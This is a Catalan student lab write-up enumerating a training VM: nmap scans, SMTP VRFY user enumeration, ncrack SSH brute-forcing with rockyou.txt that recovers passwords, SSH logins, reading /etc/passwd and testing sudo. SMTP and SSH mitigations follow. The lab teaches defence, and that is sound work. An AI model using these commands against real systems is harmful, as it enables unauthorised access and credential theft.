3. Enumeració
Contingut
Enunciat
Extreu la màxima informació relacionada amb usuaris, serveis, etc. de la màquina virtual Enumeration utilitzant eines explicades a classe.
Situació inicial
- Partiré de la màquina virtual Enumeration i la connectaré a la mateixa xarxa de virtualbox que el Kali Linux que faré servir per a analitzar-la.
- Màquines en una Xarxa NAT en el rang
10.16.2.0/24
- Conec que la màquina Kali Linux té l'adreça 10.16.2.8.
- Desconec l'adreça IP de la màquina a analitzar.
- No s'accedeix directament a la màquina a analitzar. Només hi tenim accés a través de la xarxa des del Kali.
Procediment
Anàlisi general
Primer de tot, podem executar un nmap
a tota la xarxa de VirtualBox per a detectar quina adreça IP ha sigut assignada a la màquina que analitzarem
root@kali-gsb:~# nmap 10.16.2.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 12:21 CET Nmap scan report for 10.16.2.1 Host is up (0.00038s latency). Not shown: 999 closed ports PORT STATE SERVICE 53/tcp open domain MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC) Nmap scan report for 10.16.2.2 Host is up (0.00064s latency). Not shown: 994 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 631/tcp open ipp 3306/tcp open mysql 8010/tcp open xmpp 8888/tcp open sun-answerbook MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC) Nmap scan report for 10.16.2.3 Host is up (0.00043s latency). All 1000 scanned ports on 10.16.2.3 are filtered MAC Address: 08:00:27:1D:7B:F3 (Oracle VirtualBox virtual NIC) Nmap scan report for 10.16.2.9 Host is up (0.00038s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 53/tcp open domain 110/tcp open pop3 143/tcp open imap 389/tcp open ldap 993/tcp open imaps 995/tcp open pop3s MAC Address: 08:00:27:DB:66:F2 (Oracle VirtualBox virtual NIC) Nmap scan report for 10.16.2.11 Host is up (0.0000060s latency). Not shown: 999 closed ports PORT STATE SERVICE 22/tcp open ssh Nmap done: 256 IP addresses (5 hosts up) scanned in 2.38 seconds
Deduïm que la màquina d'enumeració és la que es troba a 10.16.2.9
ja que la resta no tenen serveis publicats o bé és el Kali mateix,
Anàlisi acotat
Una vegada fet això, podem executar nmap
de nou contra aquella màquina concreta per a llistar en detall els serveis que s'hi estan executant
root@kali-gsb:~# nmap 10.16.2.9 -sV Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 12:22 CET Nmap scan report for 10.16.2.9 Host is up (0.00036s latency). Not shown: 992 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.11.3-1ubuntu1.5 (Ubuntu Linux) 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd (Ubuntu) 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 993/tcp open ssl/imaps? 995/tcp open ssl/pop3s? MAC Address: 08:00:27:DB:66:F2 (Oracle VirtualBox virtual NIC) Service Info: Host: enum.iescarlesvallbona.cat; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.84 seconds
Anàlisi de serveis
SMTP
Veiem que hi ha obert un servidor SMTP. Segons apunts de la UF, podem provar si la comanda VRFY <usuari>
es permet i podem extreure algun usuari relacionat amb l'organització des d'on s'ha extret aquesta màquina (Institut Carles Vallbona)
root@kali-gsb:~# telnet 10.16.2.9 25 Trying 10.16.2.9... Connected to 10.16.2.9. Escape character is '^]'. 220 enum.iescarlesvallbona.cat ESMTP Postfix (Ubuntu) VRFY roger 252 2.0.0 roger VRFY pau 252 2.0.0 pau VRFY julian 252 2.0.0 julian VRFY jaume 252 2.0.0 jaume VRFY guillem 550 5.1.1 <guillem>: Recipient address rejected: User unknown in local recipient table
Veiem, manualment, que aquests usuaris existeixen excepte guillem. Això ens pot ser suficient per a provar d'extreure contrasenyes dels usuaris mitjançant força bruta a través del servei SSH per exemple.
Una altra opció seria utilitzar scripts o mòduls de NMap per a passar-li llistes d'usuaris i que ens retorni si existeixen al sistema o no.
SSH
Amb ncrack
provarem d'accedir per SSH amb algun usuari que tingui una contrasenya feble o vulnerable present al wordlist de Kali rockyou.txt
root@kali-gsb:~# ncrack -p 22 -user roger -P /usr/share/wordlists/rockyou.txt 10.16.2.9 Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-03-17 12:30 CET Discovered credentials for ssh on 10.16.2.9 22/tcp: 10.16.2.9 22/tcp ssh: 'roger' 'whatever' Ncrack done: 1 service scanned in 3.00 seconds. Ncrack finished.
Hem trobat que l'usuari roger té la contrasenya whatever.
El següent pas serà accedir per SSH amb aquestes credencials i mirar si tenim permisos per llegir l'arxiu /etc/passwd
i poder així, llistar la resta d'usuaris del sistema en la seva totalitat.
root@kali-gsb:~# ssh roger@10.16.2.9 roger@10.16.2.9's password: Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun Mar 17 11:32:39 UTC 2019 System load: 0.0 Processes: 98 Usage of /: 44.7% of 9.78GB Users logged in: 0 Memory usage: 4% IP address for enp0s3: 10.16.2.9 Swap usage: 0% 118 packages can be updated. 0 updates are security updates. Last login: Sun Mar 17 11:30:24 2019 from 10.16.2.11 roger@enum:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin enum:x:1000:1000:enum:/home/enum:/bin/bash julian:x:1001:1001:,,,:/home/julian:/bin/bash pau:x:1002:1002:,,,:/home/pau:/bin/bash jaume:x:1003:1003:,,,:/home/jaume:/bin/bash xavi:x:1004:1004:,,,:/home/xavi:/bin/bash roger:x:1005:1005:,,,:/home/roger:/bin/bash bind:x:111:113::/var/cache/bind:/usr/sbin/nologin Debian-snmp:x:112:114::/var/lib/snmp:/bin/false postfix:x:113:116::/var/spool/postfix:/usr/sbin/nologin dovecot:x:114:118:Dovecot mail server,,,:/usr/lib/dovecot:/usr/sbin/nologin dovenull:x:115:119:Dovecot login user,,,:/nonexistent:/usr/sbin/nologin openldap:x:116:120:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
També podem provar si aquest usuari té permisos de sudo:
roger@enum:~$ sudo nano /etc/passwd [sudo] password for roger: roger is not in the sudoers file. This incident will be reported.
L'usuari roger no està a sudoers
, però al veure que es tracta d'un Ubuntu, podem deduir que l'usuari amb UID=1000 tindrà permisos de sudo. Segons l'arxiu d'usuaris, aquest usuari correspon a enum:
enum:x:1000:1000:enum:/home/enum:/bin/bash
Per tant, el següent pas, serà executar ncrack
de nou amb l'usuari enum per veure si la contrasenya és present en aquell wordlist
root@kali-gsb:~# ncrack -p 22 -user enum -P /usr/share/wordlists/rockyou.txt 10.16.2.9 Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-03-17 12:30 CET Discovered credentials for ssh on 10.16.2.9 22/tcp: 10.16.2.9 22/tcp ssh: 'enum' 'trustno1' Ncrack done: 1 service scanned in 3.00 seconds. Ncrack finished.
Accedirem per SSH amb la contrasenya que hem extret
root@kali-gsb:~# ssh enum@10.16.2.9 enum@10.16.2.9's password: Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun Mar 17 12:38:49 UTC 2019 System load: 0.31 Processes: 98 Usage of /: 45.5% of 9.78GB Users logged in: 0 Memory usage: 4% IP address for enp0s3: 10.16.2.9 Swap usage: 0% 118 packages can be updated. 0 updates are security updates. Last login: Wed Feb 20 16:38:32 2019 from 10.16.2.8
Aleshores farem la mateixa prova que amb l'altre usuari: executar una comanda amb sudo per veure si podem fer un moviment vertical i arribar a poder administrar el sistema o modificar arxius dins del home de l'usuari root:
sudo nano /root/prova.enum
Veiem que se'ns dóna permís.
Conclusions
En aquesta pràctica ens hem limitat a serveis SMTP i SSH; encara que al principi també hem vist que hi havia un de LDAP i també DNS. Aquests dos serveis no els hem analitzat perquè amb SMTP i SSH n'hem tingut prou per a poder treure un informe de vulnerabilitats bastant severes que s'haurien de solucionar.
Mitigacions
SMTP
- Per a evitar atacs que utilitzin la comanda
VRFY
amb arxius de diccionari, es pot configurar un límit de verificacions fallides per unitat de temps i així poder alentir un atac d'aquest tipus i poder prendre mesures. El problema és que si el receptor existeix, l'atacant ja tindrà la resposta i no compta com a fallit. - L'altra opció seria buscar la documentació del nostre servidor de correu i deshabilitar totalment aquesta comanda ja que és susceptible de ser explotada amb finalitats no relacionades amb l'enviament de correu electrònic; encara que ens arrisquem a "trencar" el protocol i que alguns clients tinguin problemes per a comunicar-se amb el nostre servidor.
SSH
SSH és un protocol molt segur a nivell de transport. Tot i això, la baula feble és en l'autenticació dels usuaris mitjançant contrasenyes. Per molt fortes que siguin (complexes, llargues, les canviem cada cert temps, etc.) mai oferiran el nivell de seguretat que brinda l'autenticació amb clau pública-privada. Aquest mètode consisteix en autenticar-se mitjançant un fitxer (la clau privada) que el servidor comprova si està autoritzat per a connectar i si correspon amb l'usuari que vol obrir una sessió SSH (a partir de la clau pública).
És per això que la mitigació passa, al meu parer, per deshabilitar totalment l'autenticació per contrasenya i concedir accessos mitjançant claus privades per a cada usuari. D'aquesta manera també és més senzill tancar l'accés a un usuari si la seva clau privada ha estat compromesa i també s'assegura el servei SSH davant d'atacs d'autenticació per força bruta; ja que és virtualment impossible endevinar una clau privada amb la tecnologia d'avui en dia.
Tot i això, si no hi ha l'opció de deshabilitar l'autenticació mitjançant password, seria bona idea configurar SSH de manera que tanqui la connexió després de X intents fallits utilitzant Fail2Ban o similar.
Fora de l'àmbit
Tot i això, ja fora de scope, el servei DNS hagués pogut servir per a fer enumeració de hosts de la xarxa per a extreure més informació de l'organització a nivell d'infraestructura: servidors de correu, servidors de fitxers, noms d'ordinadors dels treballadors, etc. Fins i tot es podria fer servir dig
per a intentar si aquell servidor DNS permetria fer una transferència de zona, que seria una vulnerabilitat bastant severa també ja que permetria fer suplantació de registres DNS i "guiar" els hosts d'aquella xarxa cap a servidors no legítims que podria preparar un atacant.
Pel que fa a LDAP, seria també una font d'informació d'usuaris molt completa, ja que cada fitxa d'usuari té infinitat d'atributs més enllà del nom i el correu electrònic que podrien també ser analitzats cercant la possibilitat que un atacant amb males intencions pogués extreure'n informació personal i fer-ne un ús il·legítim.